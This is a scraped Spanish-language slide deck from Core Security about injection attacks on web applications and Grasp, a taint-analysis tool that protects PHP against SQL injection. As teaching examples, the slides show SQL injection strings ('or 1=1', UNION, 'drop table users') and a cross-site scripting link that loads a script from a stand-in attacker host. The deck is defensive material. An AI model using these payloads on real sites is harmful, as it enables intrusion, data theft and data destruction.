ivan arce ariel futoransky ariel waissbein

30
Ivan Arce Ariel Futoransky Ariel Waissbein www.coresecurity.com

Upload: others

Post on 12-Nov-2021

21 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Ivan Arce Ariel Futoransky Ariel Waissbein

Ivan Arce

Ariel Futoransky

Ariel Waissbein

www.coresecurity.com

Page 2: Ivan Arce Ariel Futoransky Ariel Waissbein

1. Introducción

2. Protección

3. Implementación

Page 3: Ivan Arce Ariel Futoransky Ariel Waissbein

Porque la seguridad de aplicaciones?

Cual es la dificultad?

Porque “Injection-attacks”?

Page 4: Ivan Arce Ariel Futoransky Ariel Waissbein

• Componentes– Browser

– Web Server

– Database Server

– Application

– (Web Services)

• Jugadores– User

– Attacker

– Content Editor

– Sysadmin

firewall

ids

web dbWebservice

Sysadmin

ws

Users

ws

Attacker

ws

Content

Editor

ws

inet

Page 5: Ivan Arce Ariel Futoransky Ariel Waissbein

Injection• SQL

• Shell-Command

• Log

Directory Traversal

Cross-Site Scripting

Page 6: Ivan Arce Ariel Futoransky Ariel Waissbein

#Libro 123

Buscar

Biblioteca

Biblioteca

Fabulas Invernales

Carlos Gardini

123

Libros

1. Fabulas

Page 7: Ivan Arce Ariel Futoransky Ariel Waissbein

WEB DB

SQL$_POST [ ]

Numero de Id. select titulo from libros where id = ;123

Page 8: Ivan Arce Ariel Futoransky Ariel Waissbein

DBselect titulo from libros where id = ;123 or 1=1

Page 9: Ivan Arce Ariel Futoransky Ariel Waissbein

DBselect titulo from libros where id =

;123 or 1=1

Union select

(subqueries)

… into outfile

Benchmark()

Page 10: Ivan Arce Ariel Futoransky Ariel Waissbein

Nombre anonimo

Ingresar

Biblioteca

Hola anonimo,

Biblioteca

Page 11: Ivan Arce Ariel Futoransky Ariel Waissbein

Nombre anonimo

Ingresar

Biblioteca

Hola anonimo,

Biblioteca

Que interesante en

biblioteca

Blablabla blabla blablabla

blablab

Foro muy popular

Page 12: Ivan Arce Ariel Futoransky Ariel Waissbein

WEB

$_GET [ ]

nombre

<html> Bienvenido <b>

<script src=„http://atacante.com/x‟></script>

a mi sitio </b> <br> </html>

html

<a href = “http://victima.com/15.php?nombre=<script src=„http://atacante.com/x‟></script>”> mira esto </a>

Page 13: Ivan Arce Ariel Futoransky Ariel Waissbein

Blanco: Interoperatividad

entre lenguajes

Cualquier lenguaje o

protocolo puede ser

víctima

La semántica de muchas

funciones también

Ojo con los meta-

caracteres

Application

Language

SQL

Shell

HTML

LDAP

Targets

Page 14: Ivan Arce Ariel Futoransky Ariel Waissbein

Filtrar

Normalizar/Escapear

Bloquear

Mejorando la especificacion

Soluciones avanzadas

Application

Language

SQL

Shell

HTML

LDAP

Targets

Page 15: Ivan Arce Ariel Futoransky Ariel Waissbein

WEB

DB

CMD

$_GET [ ]

$_POST [ ]

$_COOKIES [ ]

$_SERVER [ ]

Page 16: Ivan Arce Ariel Futoransky Ariel Waissbein

HTTP_REFERER

SERVER_NAME

HTTP_HOST

REMOTE_HOST

REMOTE_ADDR

….

Page 17: Ivan Arce Ariel Futoransky Ariel Waissbein

Información de la base de datos

Mails entrantes

Nombres de host

Archivos subidos

Vulnerabilidades en otros modulos

Page 18: Ivan Arce Ariel Futoransky Ariel Waissbein

Dynamic Taint Analysis

Page 19: Ivan Arce Ariel Futoransky Ariel Waissbein

Proteger aplicaciones web contra:• Injections• xss

De acuerdo a nuestra caracterización

Detectar 0-day

Evitar la reingeniería de las aplicaciones

Alta precisión

Page 20: Ivan Arce Ariel Futoransky Ariel Waissbein

Perl Taint-Mode y la granularidad

Multi-level security

Valgrind

Page 21: Ivan Arce Ariel Futoransky Ariel Waissbein

Todos los objetos String tienen marcas

especificas de seguridad

Las marcas tiene granularidad al nivel de

caracter

select * from users where uid = john;

e r e u i d = j o h n ;

H H H H H H H H D D D D

… Original string information

Extended security mark

Page 22: Ivan Arce Ariel Futoransky Ariel Waissbein

Las operaciones de String, propagan o preservan las

marcas.

Antés de acceder a la base de datos, grasp analiza la

estructura del query utilizando las marcas para

reconocer patrones de ataque

select * from users where uid = john; drop table users ;

HHHHHHHHHHHHHHHHH DDDDDDDDDDDDDDDDD+ +

select * from users where uid = john; drop table users;

HHHHHHHHHHHHHHHHHHHHHHHDDDDDDDDDDDDDDDD

Attack Blocking & Logging

Page 23: Ivan Arce Ariel Futoransky Ariel Waissbein
Page 24: Ivan Arce Ariel Futoransky Ariel Waissbein

Precisión• falsos positivos

• falsos negativos

Protección

Detección

Diagnóstico

Page 25: Ivan Arce Ariel Futoransky Ariel Waissbein

Core Grasp for PHP

Page 26: Ivan Arce Ariel Futoransky Ariel Waissbein

PHP 4.3 -> PHP 5.2.3

Sources: Canales directos + mysql

Sinks: mysql_query()

Protección contra SQLInjection en MySql

Primitivas de strings propagan marca

Page 27: Ivan Arce Ariel Futoransky Ariel Waissbein
Page 28: Ivan Arce Ariel Futoransky Ariel Waissbein
Page 29: Ivan Arce Ariel Futoransky Ariel Waissbein

Distribuido como patch para el fuente o

instalador para windows

bajo licencia Apache2.0

Page 30: Ivan Arce Ariel Futoransky Ariel Waissbein

•-> grasp.coresecurity.com

•RegEx

•Grasp y privacidad

•IFA